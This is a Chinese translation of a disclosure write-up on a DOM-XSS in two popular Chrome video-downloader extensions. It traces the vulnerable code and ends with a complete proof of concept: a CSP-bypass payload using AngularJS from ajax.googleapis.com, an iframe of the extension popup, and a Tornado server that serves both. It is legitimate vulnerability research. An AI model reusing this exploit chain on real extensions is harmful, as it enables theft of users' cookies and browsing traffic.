注意:此帖与先前的Chrome扩展漏洞略有不同。我在文中实际展示了漏洞利用的代码,并分析如何通过扩展程序进行跟踪。

在扫描各种Chrome扩展程序时,我发现流行的Chrome扩展程序视频下载程序适用于Chrome 5.0.0.12版(820万用户)和Video Downloader Plus(730万用户)并在浏览器操作中遇到了XSS漏洞页。要做到利用这些扩展插件,我们只需要让受害者导航到攻击者控制的页面即可。

导致此漏洞的原因是使用了字符串连接来构建HTML,该HTML通过jQuery动态附加到DOM中。攻击者可以创建一个专门的链接,并在扩展的上下文中执行任意JavaScript。利用此漏洞,攻击者可以滥用扩展程序并获得以下权限:

"permissions": [
    "alarms",
    "contextMenus",
    "privacy",
    "storage",
    "cookies",
    "tabs",
    "unlimitedStorage",
    "webNavigation",
    "webRequest",
    "webRequestBlocking",
    "http://*/*",
    "https://*/*",
    "notifications"
],

利用上述权限,攻击者可以转储浏览器的cookie并拦截所有浏览器请求,之后经过身份验证的用户将与所有站点进行通信。

漏洞详情

此漏洞的核心是以下代码:

vd.createDownloadSection = function(videoData) {
    return '<li class="video"> \
        <a class="play-button" href="' + videoData.url + '" target="_blank"></a> \
        <div class="title" title="' + videoData.fileName + '">' + videoData.fileName + '</div> \
        <a class="download-button" href="' + videoData.url + '" data-file-name="' + videoData.fileName + videoData.extension + '">Download - ' + Math.floor(videoData.size * 100 / 1024 / 1024) / 100 + ' MB</a>\
        <div class="sep"></div>\
        </li>';
};

这是一个教科书的XSS攻击的代码的示例。 扩展程序从我们的攻击者控制页面中提取这些视频链接,并直接对其进行利用。 然而,正如例子演示的情况一样,现实世界的情况要复杂得多。 这篇文章将介绍一些防御模块,并展示它们是如何被绕过的。 我们将从输入的位置开始,并进行功能追踪。

路径详情

该扩展程序使用脚本从页面链接(标签)和视频(<video>标签)中收集可能的视频URL。 脚本使用了JavaScript代码。在运行用户访问过的浏览器页面后,我们得到了扩展程序的内容脚本:</video>

vd.getVideoLinks = function(node) {
    // console.log(node);
    var videoLinks = [];
    $(node)
        .find('a')
        .each(function() {
            var link = $(this).attr('href');
            var videoType = vd.getVideoType(link);
            if (videoType) {
                videoLinks.push({
                    url: link,
                    fileName: vd.getLinkTitleFromNode($(this)),
                    extension: '.' + videoType
                });
            }
        });
    $(node)
        .find('video')
        .each(function() {
            // console.log(this);
            var nodes = [];
            // console.log($(this).attr('src'));
            $(this).attr('src') ? nodes.push($(this)) : void 0;
            // console.log(nodes);
            $(this)
                .find('source')
                .each(function() {
                    nodes.push($(this));
                });
            nodes.forEach(function(node) {
                var link = node.attr('src');
                if (!link) {
                    return;
                }
                var videoType = vd.getVideoType(link);
                videoLinks.push({
                    url: link,
                    fileName: vd.getLinkTitleFromNode(node),
                    extension: '.' + videoType
                });
            });
        });
    return videoLinks;
};

从上面的代码中可以发现videoLinks和视频元素,并且在请求返回之前将信息收集到videoLinks数组中。 我们控制的videoLinks元素属性是url(从href属性中提取)和fileName(通过获取title属性、alt属性或节点的内部文本来拉取)。

由函数vd.findVideoLinks调用:

vd.findVideoLinks = function(node) {
    var videoLinks = [];
    switch (window.location.host) {
        case 'vimeo.com':
            vd.sendVimeoVideoLinks();
            break;
        case 'www.youtube.com':
            break;
        default:
            videoLinks = vd.getVideoLinks(node);
    }
    vd.sendVideoLinks(videoLinks);
};

此调用发生在页面的加载过程:

vd.init = function() {
    vd.findVideoLinks(document.body);
};

vd.init();

获取到所有的链接后,它们将通过vd.sendVideoLinks函数并发送到扩展程序的后台页面。 以下是在扩展的后台页面中声明的消息监听器:

chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) {
    switch (request.message) {
        case 'add-video-links':
            if (typeof sender.tab === 'undefined') {
                break;
            }
            vd.addVideoLinks(request.videoLinks, sender.tab.id, sender.tab.url);
            break;
        case 'get-video-links':
            sendResponse(vd.getVideoLinksForTab(request.tabId));
            break;
        case 'download-video-link':
            vd.downloadVideoLink(request.url, request.fileName);
            break;
        case 'show-youtube-warning':
            vd.showYoutubeWarning();
            break;
        default:
            break;
    }
});

我们的例子关于add-video-links选项。在例子中,我们的send.tab没有未定义,因此它调用vd.addVideoLinks并删除之前删除的视频链接。 以下是addVideoLinks的代码:

vd.addVideoLinks = function(videoLinks, tabId, tabUrl) {
    ...trimmed for brevity...
    videoLinks.forEach(function(videoLink) {
        // console.log(videoLink);
        videoLink.fileName = vd.getFileName(videoLink.fileName);
        vd.addVideoLinkToTab(videoLink, tabId, tabUrl);
    });
};

上面的代码检查它是否已经存储了此tabId的链接数据。 如果不是,它会创建一个新对象。 每条链接数据的fileName属性并通过vd.getFileName函数运行,该函数包括以下代码:

vd.getFileName = function(str) {
    // console.log(str);
    var regex = /[A-Za-z0-9()_ -]/;
    var escapedStr = '';
    str = Array.from(str);
    str.forEach(function(char) {
        if (regex.test(char)) {
            escapedStr += char;
        }
    });
    return escapedStr;
};

上述函数通过链接数据的fileName属性破坏了获取DOM-XSS的机会。 它将删除任何与正则表达式[A-Za-z0-9()_ -]不匹配的字符,但是其并不包括用于连接HTML中的属性的字符"

videoLink被发送到vd.addVideoLinkToTab函数,该函数如下:

vd.addVideoLinkToTab = function(videoLink, tabId, tabUrl) {
    ...trimmed for brevity...
    if (!videoLink.size) {
        console.log('Getting size from server for ' + videoLink.url);
        vd.getVideoDataFromServer(videoLink.url, function(videoData) {
            videoLink.size = videoData.size;
            vd.addVideoLinkToTabFinalStep(tabId, videoLink);
        });
    } else {
        vd.addVideoLinkToTabFinalStep(tabId, videoLink);
    }
};

该脚本检查数据是否具有size属性。在未设置大小的情况下,它通过vd.getVideoDataFromServer获取链接位置处文件的大小:

vd.getVideoDataFromServer = function(url, callback) {
    var request = new XMLHttpRequest();
    request.onreadystatechange = function() {
        if (request.readyState === 2) {
            callback({
                mime: this.getResponseHeader('Content-Type'),
                size: this.getResponseHeader('Content-Length')
            });
            request.abort();
        }
    };
    request.open('Get', url);
    request.send();
};

上面的代码只是触发XMLHTTPRequest请求以获取指定链接上的文件头,并提取Content-TypeContent-Length头。 返回此数据,Content-Length标头的值用于设置videoLinks元素的size属性。 完成此操作后,结果将传递给vd.addVideoLinkToTabFinalStep

vd.addVideoLinkToTabFinalStep = function(tabId, videoLink) {
    // console.log("Trying to add url "+ videoLink.url);
    if (!vd.isVideoLinkAlreadyAdded(
            vd.tabsData[tabId].videoLinks,
            videoLink.url
        ) &&
        videoLink.size > 1024 &&
        vd.isVideoUrl(videoLink.url)
    ) {
        vd.tabsData[tabId].videoLinks.push(videoLink);
        vd.updateExtensionIcon(tabId);
    }
};

在这里,我们开始遇到一些困难。我们希望将URL附加到vd.tabsData[tabId].videoLinks数组,然而这只会在我们传递以下条件时发生:

!vd.isVideoLinkAlreadyAdded(
    vd.tabsData[tabId].videoLinks,
    videoLink.url
) &&
videoLink.size > 1024 &&
vd.isVideoUrl(videoLink.url)

vd.isVideoLinkAlreadyAdded是一个简单的检验操作,以查看该URL是否已记录在vd.tabsData[tabId].videoLinks数组中。 第二项检查是videoLink.size大于1024。根据前文,这个值取自检索到的Content-Length标头。 为了通过此检查,我们创建了一个基本的Python Tornado服务器并创建了一个通配符路由并返回响应:

...trimmed for brevity...
def make_app():
    return tornado.web.Application([
        ...trimmed for brevity...
        (r"/.*", WildcardHandler),
    ])

...trimmed for brevity...
class WildcardHandler(tornado.web.RequestHandler):
    def get(self):
        self.set_header("Content-Type", "video/x-flv")
        self.write( ("A" * 2048 ) )
...trimmed for brevity...

现在我们已经链接了那条路线。此时,无论我们的链路具体是什么,它总是会路由到一个返回>1024字节的页面。 这为我们提供了绕过过滤的方法。

下一项检查要求vd.isVideoUrl函数返回true,该函数的代码如下:

vd.videoFormats = {
    mp4: {
        type: 'mp4'
    },
    flv: {
        type: 'flv'
    },
    mov: {
        type: 'mov'
    },
    webm: {
        type: 'webm'
    }
};

vd.isVideoUrl = function(url) {
    var isVideoUrl = false;
    Object.keys(vd.videoFormats).some(function(format) {
        if (url.indexOf(format) != -1) {
            isVideoUrl = true;
            return true;
        }
    });
    return isVideoUrl;
};

这项检查相当简单。 它将检查内容确保URL中包含mp4,flv,mov或webm。我们可以通过将.flv附加到我们的url的payload的末尾来绕过此检查。

由于我们已成功满足条件的所有要求,因此我们的url会附加到vd.tabsData[tabId].videoLinks数组中。

跳转到包含上面显示的易受攻击函数的原始popup.js脚本,我们看到以下内容:

$(document).ready(function() {
    var videoList = $("#video-list");
    chrome.tabs.query({
        active: true,
        currentWindow: true
    }, function(tabs) {
        console.log(tabs);
        vd.sendMessage({
            message: 'get-video-links',
            tabId: tabs[0].id
        }, function(tabsData) {
            console.log(tabsData);
            if (tabsData.url.indexOf('youtube.com') != -1) {
                vd.sendMessage({
                    message: 'show-youtube-warning'
                });
                return
            }
            var videoLinks = tabsData.videoLinks;
            console.log(videoLinks);
            if (videoLinks.length == 0) {
                $("#no-video-found").css('display', 'block');
                videoList.css('display', 'none');
                return
            }
            $("#no-video-found").css('display', 'none');
            videoList.css('display', 'block');
            videoLinks.forEach(function(videoLink) {
                videoList.append(vd.createDownloadSection(videoLink));
            })
        });
    });
    $('body').on('click', '.download-button', function(e) {
        e.preventDefault();
        vd.sendMessage({
            message: 'download-video-link',
            url: $(this).attr('href'),
            fileName: $(this).attr('data-file-name')
        });
    });
});

单击扩展程序的浏览器图标时会触发上述代码。 该扩展程序会在Chrome扩展程序API中查询当前标签的元数据。 此选项卡的ID取自元数据,get-video-links调用将发送到后台页面。 这个代码只是sendResponse(vd.getVideoLinksForTab(request.tabId)); 它返回我们上面讨论的视频链接数据。

在处理视频链接并将每个视频链接传递给本文开头所示的vd.createDownloadSection函数后。我们会看到HTML构建了一个使用jQuery的.append()函数附加到DOM的字符串。将带有用户输入的原始HTML传递给append()是xss的具体应用点。

看来我们可以相对比较容易的将我们的payload发送到主机系统。然而 我们还有另一个需要克服的问题存在:CSP

CSP

有趣的是,此扩展的内容安全策略在其script-src指令中没有不安全的eval。 以下是扩展的详情:

script-src 'self' https://www.google-analytics.com https://ssl.google-analytics.com https://apis.google.com https://ajax.googleapis.com; style-src 'self' 'unsafe-inline' 'unsafe-eval'; connect-src *; object-src 'self'

从上面的内容安全策略(CSP)中我们可以看到script-src如下:

script-src 'self' https://www.google-analytics.com https://ssl.google-analytics.com https://apis.google.com https://ajax.googleapis.com

此政策阻止我们访问任意网站,并禁止我们进行内联JavaScript声明(例如<script>alert('XSS')</script>。我们执行JavaScript的唯一方法是从以下某个网站获取资源:

https://www.google-analytics.com
https://ssl.google-analytics.com
https://apis.google.com
https://ajax.googleapis.com

当攻击者希望绕过CSP时,在script-src指令中我们可以看到https://apis.google.comhttps://ajax.googleapis.com。 这些站点上托管了许多JavaScript库,以及JSONP端点 ,两者都可用于绕过内容安全策略。

注意:如果想查看网站是否是添加到CSP的不良来源,请查看CSP评估工具(具体到@ we1x)。

对于这个领域的一些先前攻击操作,H5SC Minichallenge 3: "Sh*t, it's CSP!"
,攻击者必须在一个只有白名单ajax.googeapis.com的页面上实现XSS。 这一挑战与我们现在面临的情况非常相似。

"ng-app ng-csp><base href=//ajax.googleapis.com/ajax/libs/><script src=angularjs/1.0.1/angular.js></script><script src=prototype/1.7.2.0/prototype.js></script>\{\{$on.curry.call().alert(1337

通过修改payload,我们也可以利用此扩展。 以下是使用此技术执行警报的payload(强制Chrome视频下载的XSS):

"ng-app ng-csp><script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script><script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>\{\{$on.curry.call().alert('XSS in Video Downloader for Chrome by mandatory')\}\}<!--

下图显示了单击扩展名图标时我们的payload的触发情况:

我们现在在扩展程序的上下文中执行任意的JavaScript,并且可以使用扩展程序并访问Chrome扩展程序API。 但是,它要求用户在我们的恶意页面上单击扩展图标。 在构建漏洞利用时我们要将此意图隐藏起来。

回到manifest.json中,我们可以看到web_accessible_resources指令已设置为以下内容:

"web_accessible_resources": [
    "*"
]

仅使用通配符意味着任何网页都可以加载 <iframe>并获取扩展中包含的资源。 在我们的示例中,我们要包含的资源是popup.html页面,该页面通常在用户单击扩展程序的图标时显示。 通过iframing此页面以及使用我们之前的payload,我们就得到有一个无需用户交互的漏洞利用方法:

最终的payload如下:

<!DOCTYPE html>
<html>
<body>
    <a href="https://"ng-app ng-csp><script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script><script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>\{\{$on.curry.call().alert('XSS in Video Downloader for Chrome by mandatory')\}\}<!--.flv">test</a>

    <iframe src="about:blank" id="poc"></iframe>

    <script>
    setTimeout(function() {
        document.getElementById( "poc" ).setAttribute( "src", "chrome-extension://dcfofgiombegngbaofkeebiipcdgpnga/html/popup.html" );
    }, 1000);
    </script>
</body>
</html>

上述代码为两部分,第一部分为在当前选项栏中设置videoLinks数组。 第二部分在一秒钟后触发并生成iframe的位置:chrome-extension://dcfofgiombegngbaofkeebiipcdgpnga/html/popup.html(弹出页面)。 攻击的最终结果如下:

import tornado.ioloop
import tornado.web

class MainHandler(tornado.web.RequestHandler):
    def get(self):
        self.write("""
<!DOCTYPE html>
<html>
<body>
    <a href="https://"ng-app ng-csp><script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script><script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>\{\{$on.curry.call().alert('XSS in Video Downloader for Chrome by mandatory')\}\}<!--.flv">test</a>

    <iframe src="about:blank" id="poc"></iframe>

    <script>
    setTimeout(function() {
        document.getElementById( "poc" ).setAttribute( "src", "chrome-extension://dcfofgiombegngbaofkeebiipcdgpnga/html/popup.html" );
    }, 1000);
    </script>
</body>
</html>
        """)

class WildcardHandler(tornado.web.RequestHandler):
    def get(self):
        self.set_header("Content-Type", "video/x-flv")
        self.write( ("A" * 2048 ) )

def make_app():
    return tornado.web.Application([
        (r"/", MainHandler),
        (r"/.*", WildcardHandler),
    ])

if __name__ == "__main__":
    app = make_app()
    app.listen(8888)
    tornado.ioloop.IOLoop.current().start()

防御方法

由于没有方法联系任何一位扩展所有者(各个Chrome扩展程序页面上的最小联系人详细信息)。 我联系了一些在Google上使用Chrome扩展程序安全性的开发者。 他们通知了扩展所有者,并努力对这些扩展进行修复。 这两个扩展的最新版本对上述内容已经进行了修复工作。

本文翻译自:https://thehackerblog.com/video-download-uxss-exploit-detailed/

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖